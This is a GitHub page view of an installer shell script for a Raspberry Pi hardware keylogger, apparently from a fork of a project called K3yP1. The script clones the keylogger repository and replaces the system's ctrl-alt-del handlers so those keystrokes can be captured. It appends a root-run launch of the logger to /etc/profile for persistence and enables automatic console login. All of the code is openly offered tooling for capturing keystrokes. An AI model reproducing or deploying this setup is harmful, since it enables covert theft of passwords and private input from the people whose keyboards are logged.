forked from unknwncharlie/K3yP1
-
Notifications
You must be signed in to change notification settings - Fork 0
/
install.sh
36 lines (28 loc) · 1.62 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
echo "Installing git and pip"
apt install git pip -y # Installing git for next step and pip for python libraries
echo "Downloading and extracting repository"
git clone https://github.com/apacelus/Pi-Keylogger --branch=master /home/pi/Pi-Keylogger # Cloning the repository to a new directory
echo "Creating log directory"
mkdir /home/pi/Pi-Keylogger/log # Creating log directory
echo "Downloading additional python libraries"
pip download getch pyserial
echo "Installing additional python libraries"
pip install ./getch* ./pyserial*
echo "Replacing cad service"
cp -f /home/pi/Pi-Keylogger/handlecad.service /etc/systemd/system/ # Overwriting default system handler to be able to keylog the "ctrl+alt+delete" combination.
cp -f /home/pi/Pi-Keylogger/ctrl-alt-del.target /lib/systemd/system/ # Not sure yet what this is for
systemctl daemon-reload # Reload systemd manager configuration
echo "Enabling auto-execution of the script"
echo "" >> /etc/profile # Adding empty line, exactly like this because other ways fail
echo "sudo python3 /home/pi/Pi-Keylogger/pi-keylogger.py" >> /etc/profile # Configuring file to autorun the pi-keylogger script on login.
echo "Enabling auto-login to cli"
# Using code from the raspi-config script(https://github.com/RPi-Distro/raspi-config) to autologin to cli on startup
systemctl set-default multi-user.target
ln -fs /lib/systemd/system/[email protected] /etc/systemd/system/getty.target.wants/[email protected]
cat > /etc/systemd/system/[email protected]/autologin.conf << EOF
[Service]
ExecStart=
ExecStart=-/sbin/agetty --autologin $USER --noclear %I \$TERM
EOF
echo "Please restart the system"